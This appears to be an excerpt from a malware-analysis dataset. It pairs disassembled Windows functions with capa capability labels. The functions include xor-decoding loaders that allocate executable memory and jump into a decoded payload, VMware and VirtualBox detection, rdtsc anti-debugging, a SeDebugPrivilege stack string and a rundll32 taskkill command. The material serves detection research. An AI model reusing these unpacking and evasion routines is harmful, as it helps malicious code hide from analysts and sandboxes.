joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401434
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x401443
pop dword [ebp - 0x2c]
mov eax, 0xcf0b14d0
add eax, 0x3134ff73
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x7b04d56d
add dword [ebp - 0x3c], 0xd34d6fde
mov dword [ebp - 0x38], 0x19c720e0
add dword [ebp - 0x38], 0x186c2b65
mov dword [ebp - 0x34], 0xa13d4f3e
sub dword [ebp - 0x34], 0x54f10b10
mov dword [ebp - 0x30], 0x68f13880
sub dword [ebp - 0x30], 0x68f13880
lea eax, [ebp - 0x3c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x2d377bf1
sub dword [ebp - 0x3c], 0xb8c5129b
mov dword [ebp - 0x38], 0xe9d7585a
sub dword [ebp - 0x38], 0xa86af6e5
mov dword [ebp - 0x34], 0xa0a3b9a1
sub dword [ebp - 0x34], 0x3d344d35
mov dword [ebp - 0x30], 0x7d2a2ad6
add dword [ebp - 0x30], 0x82d5d52a
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x38f4e
push 0
call eax
mov ecx, 0x2e28aff5
add ecx, 0xd1d79ab5
xor ebx, ebx
add ebx, eax
mov esi, 0x373504d7
sub esi, 0x36ee20d7
add esi, dword [ebp - 0x2c]
mov edx, 0x2c13bbfd
mov edi, dword [esi]
mov dword [ebp - 0x20], 0xa67a63d6
xor edi, edx
mov dword [ebx], edi
mov dword [ebp - 0x1c], 0x9db3f158
add ebx, 0x59fedc91
sub ebx, 0x59fedc8d
add esi, 0x9b9ab3d1
sub esi, 0x9b9ab3cd
loop 0x401557
add eax, 0x3de23f46
add eax, 0xc21ede35
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x7e3de4df
add ecx, 0x82021b21
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret

Function at 0x402c93
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
mov eax, dword [0x42a2f0]
or al, 8
xor ebx, ebx
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x402d27
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov edi, 0x105
jmp 0x402ce4
cmp dword [ebp + 0x10], ebx
jne 0x402d1b
lea eax, [ebp - 0x210]
push ebx
push eax
push dword [ebp - 4]
call fcn.00401434
test eax, eax
jne 0x402cf6
lea eax, [ebp - 0x210]
push edi
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x402ccb
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
call fcn.004065ec
cmp eax, ebx
je 0x402d2e
push ebx
push dword [0x42a2f0]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x402d27
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x42a2f0], ebx
jne 0x402d24
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
jne 0x402d24
jmp 0x402d27
Function at 0x405a03
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x405a12
pop dword [ebp - 0x40]
mov eax, 0x41507d75
sub eax, 0x41102363
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0xb005ee84
sub dword [ebp - 0x50], 0x61b3a939
mov dword [ebp - 0x4c], 0xc2de72fb
sub dword [ebp - 0x4c], 0x90ab26b6
mov dword [ebp - 0x48], 0x4f6261c7
add dword [ebp - 0x48], 0xfce9e267
mov dword [ebp - 0x44], 0x184af4ff
sub dword [ebp - 0x44], 0x184af4ff
lea eax, [ebp - 0x50]
push eax
mov eax, 0x952ec2db
add eax, 0x6b11be29
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x997cbbe1
add dword [ebp - 0x50], 0xdaf5ad75
mov dword [ebp - 0x4c], 0xb745e565
add dword [ebp - 0x4c], 0x8a267c10
mov dword [ebp - 0x48], 0x80a9095e
add dword [ebp - 0x48], 0xe2c6630e
mov dword [ebp - 0x44], 0x16e04f3
sub dword [ebp - 0x44], 0x16e04f3
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0x9c2aeeec
add eax, 0x64159214
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x369a4
push 0
call eax
mov ecx, 0x467d
xor edi, edi
add edi, eax
mov ebx, 0x89e81f7
sub ebx, 0x8579df7
add ebx, dword [ebp - 0x40]
mov esi, 0x802798bc
sub esi, 0xad08adf0
mov edx, dword [ebx]
sub edx, esi
xor dword [ebp - 0x38], esi
mov dword [edi], edx
add dword [ebp - 8], esi
add edi, 0x8f6730a5
add edi, 0x7098cf5f
add ebx, 0xc761b6a1
add ebx, 0x389e4963
loop 0x405b30
add eax, 0x1a068720
add eax, 0xe5fa85a7
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x405cce
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x425f30
push esi
call fcn.00406212
push esi
call fcn.00405c71
mov edi, eax
test edi, edi
jne 0x405cef
xor eax, eax
jmp 0x405d47
push edi
call fcn.004064a6
test byte [0x42a258], 0x80
je 0x405d0c
mov ax, word [edi]
test ax, ax
je 0x405ceb
cmp ax, 0x5c
je 0x405ceb
sub edi, esi
sar edi, 1
jmp 0x405d26
call fcn.00406555
test eax, eax
je 0x405d20
test byte [eax], 0x10
je 0x405ceb
push esi
call fcn.00405c12
push esi
call sub.kernel32.dll_lstrlenW
cmp eax, edi
push esi
jg 0x405d12
call fcn.00405bc6
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x405dc2
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405de1
and al, 0xfe
push eax
push dword [esp + 0xc]
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
mov eax, esi
pop esi
ret 4

Function at 0x405de7
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.kernel32.dll_CreateFileW]
ret 0xc
Function at 0x1002aadf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x1002aaee
pop dword [ebp - 0x38]
mov eax, 0x6713e9c2
sub eax, 0x57113ed4
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x8a0b5871
sub dword [ebp - 0x48], 0x3bb91326
mov dword [ebp - 0x44], 0x4cc628be
sub dword [ebp - 0x44], 0x1a92dc79
mov dword [ebp - 0x40], 0x7bd4b1ef
add dword [ebp - 0x40], 0xd077923f
mov dword [ebp - 0x3c], 0x31cb07bb
add dword [ebp - 0x3c], 0xce34f845
lea eax, [ebp - 0x48]
push eax
mov eax, 0x56b85ecb
add eax, 0xb94a616d
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0xad198a1b
add dword [ebp - 0x48], 0xc758df3b
mov dword [ebp - 0x44], 0x287694ab
add dword [ebp - 0x44], 0x18f5ccca
mov dword [ebp - 0x40], 0x1bcbe704
add dword [ebp - 0x40], 0x47a38568
mov dword [ebp - 0x3c], 0xfd9c120a
sub dword [ebp - 0x3c], 0xfd9c120a
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x33e60
push 0
call eax
mov ecx, 0xa9807039
sub ecx, 0xa9803280
mov edx, eax
mov esi, 0xb2e94e45
add esi, 0x5d1a47bb
add esi, dword [ebp - 0x38]
mov ebx, 0x3cbf414f
sub ebx, 0x37855048
sub dword [ebp - 0x20], ecx
mov edi, dword [esi]
mov dword [ebp - 8], 0x41e50bb8
sub edi, ebx
sub dword [ebp - 4], 0x9c7aa1b3
mov dword [edx], edi
xor dword [ebp - 0x30], edx
add edx, 4
add esi, 4
loop 0x1002ac0b
add eax, 0xb7500877
sub eax, 0xb74f1ec0
xor ebx, ebx
add ebx, eax
add eax, 0x945a1f0d
add eax, 0x6ba5e0f8
mov ecx, 0x5ef5d029
sub ecx, 0x4ef5d029
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x40287f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x40288e
pop dword [ebp - 0x50]
mov eax, 0x4418ddef
sub eax, 0x43d8b561
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0xb3b5aec0
sub dword [ebp - 0x60], 0x65636975
mov dword [ebp - 0x5c], 0x60ebd5b7
sub dword [ebp - 0x5c], 0x2eb88972
mov dword [ebp - 0x58], 0xe668f50f
sub dword [ebp - 0x58], 0x9a1cb0e1
mov dword [ebp - 0x54], 0xf62988c4
sub dword [ebp - 0x54], 0xf62988c4
lea eax, [ebp - 0x60]
push eax
mov eax, 0x47432e9c
sub eax, 0x4702ae10
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x84cfac07
add dword [ebp - 0x60], 0xefa2bd4f
mov dword [ebp - 0x5c], 0x575cbd5d
sub dword [ebp - 0x5c], 0x15f05be8
mov dword [ebp - 0x58], 0x550be564
sub dword [ebp - 0x58], 0xf19c78f8
mov dword [ebp - 0x54], 0x73a48648
sub dword [ebp - 0x54], 0x73a48648
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x395da
push 0
call eax
mov ecx, 0x5314
xor ebx, ebx
add ebx, eax
mov edi, 0x6e7f1ca6
sub edi, 0x6e3e0ca6
add edi, dword [ebp - 0x50]
mov edx, 0xfb1d094c
sub edx, 0xe686a788
mov dword [ebp - 0x34], 0x69da184e
mov esi, dword [edi]
sub dword [ebp - 8], edx
add esi, edx
xor dword [ebp - 0x10], 0x4547eb1e
mov dword [ebx], esi
sub dword [ebp - 0x44], 0x94bb240a
add ebx, 0x499cba3
add ebx, 0xfb663461
add edi, 0x612c8132
add edi, 0x9ed37ed2
loop 0x4029a7
add eax, 0x62e9ba0d
sub eax, 0x62e87aea
xor ebx, ebx
add ebx, eax
add eax, 0xecea2863
add eax, 0x1315d7a2
mov ecx, 0x5489c944
add ecx, 0xabb636bc
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x43534b
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.0042708b
mov esi, dword [ebp + 8]
push 2
mov edi, eax
lea eax, [ebp - 4]
push eax
mov ecx, esi
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x435383
xor eax, eax
jmp 0x4353af
cmp esi, dword [ebp - 4]
je 0x4353ac
cmp dword [ebp + 0xc], 0
je 0x4353ac
push dword [edi + 0x9c]
call fcn.00434f59
push dword [edi + 0x9c]
mov esi, eax
call fcn.00424fcd
pop ecx
pop ecx
cmp esi, eax
je 0x43537f
xor eax, eax
inc eax
pop edi
pop esi
leave
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408f6c
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x1b7b2cee
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4300d2
nop
nop
nop
mov ebx, 0x42e3d0
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x26ff3c06
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x1000181c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor ecx, ecx
cmp dword [ebp + 0xc], ecx
jle 0x1000183b
mov dl, byte [ecx + eax]
sub dl, 0x79
xor dl, 0x15
mov byte [ecx + eax], dl
inc ecx
cmp ecx, dword [ebp + 0xc]
jl 0x10001829
pop ebp
ret

Function at 0x10001cd6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor ecx, ecx
cmp dword [ebp + 0xc], ecx
jle 0x10001cf5
mov dl, byte [ecx + eax]
xor dl, 0x15
add dl, 0x79
mov byte [ecx + eax], dl
inc ecx
cmp ecx, dword [ebp + 0xc]
jl 0x10001ce3
pop ebp
ret

Function at 0x10001e15
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
movzx eax, byte [ebp + 0x10]
cdq
mov ecx, 0x5ab
push esi
idiv ecx
mov esi, dword [ebp + 0xc]
add dl, 0x3d
test esi, esi
jbe 0x10001e3e
mov eax, dword [ebp + 8]
mov cl, byte [eax]
xor cl, dl
add cl, dl
mov byte [eax], cl
inc eax
dec esi
jne 0x10001e32
pop esi
pop ebp
ret

Function at 0x10001e41
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
call dword [0x100272bc]
lea ecx, [ebp - 4]
push ecx
push 0x28
push eax
call dword [0x10027328]
test eax, eax
je 0x10001ee4
lea eax, [ebp - 0x10]
push ebx
push eax
lea eax, [ebp - 0x28]
xor ebx, ebx
push eax
push ebx
mov byte [ebp - 0x28], 0x53
mov byte [ebp - 0x27], 0x65
mov byte [ebp - 0x26], 0x44
mov byte [ebp - 0x25], 0x65
mov byte [ebp - 0x24], 0x62
mov byte [ebp - 0x23], 0x75
mov byte [ebp - 0x22], 0x67
mov byte [ebp - 0x21], 0x50
mov byte [ebp - 0x20], 0x72
mov byte [ebp - 0x1f], 0x69
mov byte [ebp - 0x1e], 0x76
mov byte [ebp - 0x1d], 0x69
mov byte [ebp - 0x1c], 0x6c
mov byte [ebp - 0x1b], 0x65
mov byte [ebp - 0x1a], 0x67
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], bl
call dword [0x10027338]
test eax, eax
je 0x10001eda
push ebx
push ebx
lea eax, [ebp - 0x14]
push ebx
push eax
push ebx
push dword [ebp - 4]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [0x1002733c]
push dword [ebp - 4]
call dword [0x10027270]
pop ebx
leave
ret
Function at 0x1000213f
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push SysReAllocString
push str..PhysicalDrive0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10002174
push eax
call dword [0x10027270]
xor eax, eax
pop edi
pop esi
leave
ret
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0xc]
push 8
push eax
push esi
push esi
push 0x7405c
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push edi
call dword [0x10027270]
push esi
push 0x40000000
push dword [ebp - 8]
push dword [ebp - 0xc]
call fcn.10015740
mov esi, eax
mov eax, dword [ebp + 8]
mov ecx, edx
cdq
cmp ecx, edx
jg 0x1000216e
jl 0x100021b7
cmp esi, eax
jae 0x1000216e
push 1
pop eax
jmp 0x10002170

Function at 0x100021bc
Capabilities:
Enumerate services

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
xor edi, edi
push 4
push edi
push edi
call dword [0x10027304]
cmp eax, edi
mov dword [ebp - 0xc], eax
je 0x10002210
mov esi, 0x10000
mov dword [ebp - 0x14], edi
push esi
push 0x40
mov dword [ebp - 8], edi
mov dword [ebp - 0x10], edi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x14]
push eax
push esi
push ebx
push 3
push 0x30
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
test eax, eax
jne 0x10002215
or eax, 0xffffffff
jmp 0x1000227f
cmp dword [ebp - 8], edi
mov dword [ebp - 4], edi
jbe 0x10002274
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
lea esi, [ebx + 4]
push str.VMware_Tools
push dword [esi]
call dword [0x10027350]
pop ecx
test eax, eax
pop ecx
jne 0x10002284
push str.VMware
push dword [esi]
call edi
pop ecx
test eax, eax
pop ecx
jne 0x10002284
push str.Virtual_Machine
push dword [esi]
call edi
pop ecx
test eax, eax
pop ecx
jne 0x10002284
push str.VirtualBox_Guest
push dword [esi]
call edi
pop ecx
test eax, eax
pop ecx
jne 0x10002284
inc dword [ebp - 4]
add esi, 0x24
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jb 0x10002226
push dword [ebp - 0xc]
call dword [0x10027310]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
push 1
pop eax
jmp 0x1000227f
Function at 0x100022ce
Capabilities:
Enumerate files on windows
Query environment variable

Disassembly:
mov eax, 0x10019edf
call fcn.1001566c
sub esp, 0x154
push ebx
push esi
mov esi, 0x104
push edi
push esi
xor ebx, ebx
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov edi, eax
push esi
push edi
push str.TEMP
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea eax, [ebp - 0xd]
lea ecx, [ebp - 0x20]
push eax
push edi
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
and dword [ebp - 4], ebx
push 0x10023240
lea ecx, [ebp - 0x20]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
lea ecx, [ebp - 0x20]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
lea ecx, [ebp - 0x160]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10002356
lea eax, [ebp - 0x160]
inc ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1000233c
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp ebx, dword [ebp + 8]
jge 0x10002360
push 1
pop esi
jmp 0x10002362
xor esi, esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x20]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x10002380
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
rdtsc
xchg ebx, eax
rdtsc
sub eax, ebx
cmp eax, dword [ebp + 8]
jg 0x10002396
xor eax, eax
jmp 0x10002399
push 1
pop eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x100023da
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001b3f8
push 0x100157ea
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x1c], 1
and dword [ebp - 4], 0
push edx
push ecx
push ebx
mov eax, 0x564d5868
mov ebx, 0
mov ecx, 0xa
mov edx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete byte [ebp - 0x1c]
pop ebx
pop ecx
pop edx
jmp 0x1000243a
or dword [ebp - 4], 0xffffffff
movzx eax, byte [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10002506
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push edi
mov esi, 0x10023244
lea edi, [ebp - 0x14]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x14]
push 0xd
push eax
movsw word es:[edi], word [esi]
call dword [0x10027344]
pop ecx
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10001e15
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
call dword [0x10027398]
pop edi
pop esi
test eax, eax
je 0x1000254e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
leave
ret

Function at 0x100025fc
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001b428
push 0x100157ea
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x1c], 1
and dword [ebp - 4], 0
push edx
push ecx
push ebx
mov eax, 0x564d5868
mov ebx, 0
mov ecx, 0xa
mov edx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete byte [ebp - 0x1c]
pop ebx
pop ecx
pop edx
jmp 0x1000265c
or dword [ebp - 4], 0xffffffff
movzx eax, byte [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10002673
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
push ebx
push esi
push edi
or edi, 0xffffffff
inc eax
dec ebx
dec eax
inc ebx
push 0x10023258
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x10023268
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
mov dword [ebp - 8], eax
jne 0x100026aa
inc eax
dec ebx
dec eax
inc ebx
jmp 0x100026ff
push 0
push 2
inc eax
dec ebx
dec eax
inc ebx
call dword [ebp - 8]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x130]
mov dword [ebp - 0x130], 0x128
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x100026ff
mov esi, dword [ebp + 8]
cmp dword [ebp - 0x128], esi
je 0x100026f5
lea eax, [ebp - 0x130]
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x100026ff
jmp 0x100026d8
inc eax
dec ebx
dec eax
inc ebx
mov edi, dword [ebp - 0x118]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10002706
Capabilities:
Contain obfuscated stackstrings
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
push ebx
push esi
inc eax
dec ebx
dec eax
inc ebx
push 0x10023284
or esi, 0xffffffff
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x100027dc
push 0x10023294
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x18], eax
inc eax
dec ebx
dec eax
inc ebx
cmp dword [ebp - 0x18], 0
jne 0x1000274b
mov eax, esi
jmp 0x100027e4
push 0
push 2
call dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
inc eax
dec ebx
dec eax
inc ebx
lea eax, [ebp - 0x140]
mov dword [ebp - 0x140], 0x128
push eax
push dword [ebp - 0x14]
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x100027dc
inc eax
dec ebx
dec eax
inc ebx
and byte [ebp - 4], 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x11c]
push eax
mov byte [ebp - 0x10], 0x65
mov byte [ebp - 0xf], 0x78
mov byte [ebp - 0xe], 0x70
mov byte [ebp - 0xd], 0x6c
mov byte [ebp - 0xc], 0x6f
mov byte [ebp - 0xb], 0x72
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x78
mov byte [ebp - 5], 0x65
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
je 0x100027d6
lea eax, [ebp - 0x140]
push eax
push dword [ebp - 0x14]
call sub.KERNEL32.dll_Process32Next
jmp 0x10002772
mov esi, dword [ebp - 0x138]
mov ecx, esi
inc eax
dec ebx
dec eax
inc ebx
mov eax, ecx
pop esi
pop ebx
leave
ret

Function at 0x10002842
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 4]
mov dword [ebp - 8], 0x3f
push eax
push 0x20019
push 0
push str.HARDWAREDESCRIPTIONSystemBIOS_
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100028b0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push str.SystemManufacturer
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x48]
push str.VMWARE
push eax
call dword [0x10027350]
pop ecx
pop ecx
push dword [ebp - 4]
test eax, eax
je 0x100028aa
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
leave
ret
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
leave
ret

Function at 0x100028b4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
and byte [ebp - 4], 0
lea eax, [ebp - 0x10]
push eax
mov byte [ebp - 0x10], 0x72
mov byte [ebp - 0xf], 0x75
mov byte [ebp - 0xe], 0x6e
mov byte [ebp - 0xd], 0x64
mov byte [ebp - 0xc], 0x6c
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], 0x33
mov byte [ebp - 9], 0x32
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x78
mov byte [ebp - 5], 0x65
call fcn.1000ca4e
test eax, eax
pop ecx
je 0x10002909
push 0
push str.taskkill__f__im_rundll32.exe
call dword [0x10027224]
leave
ret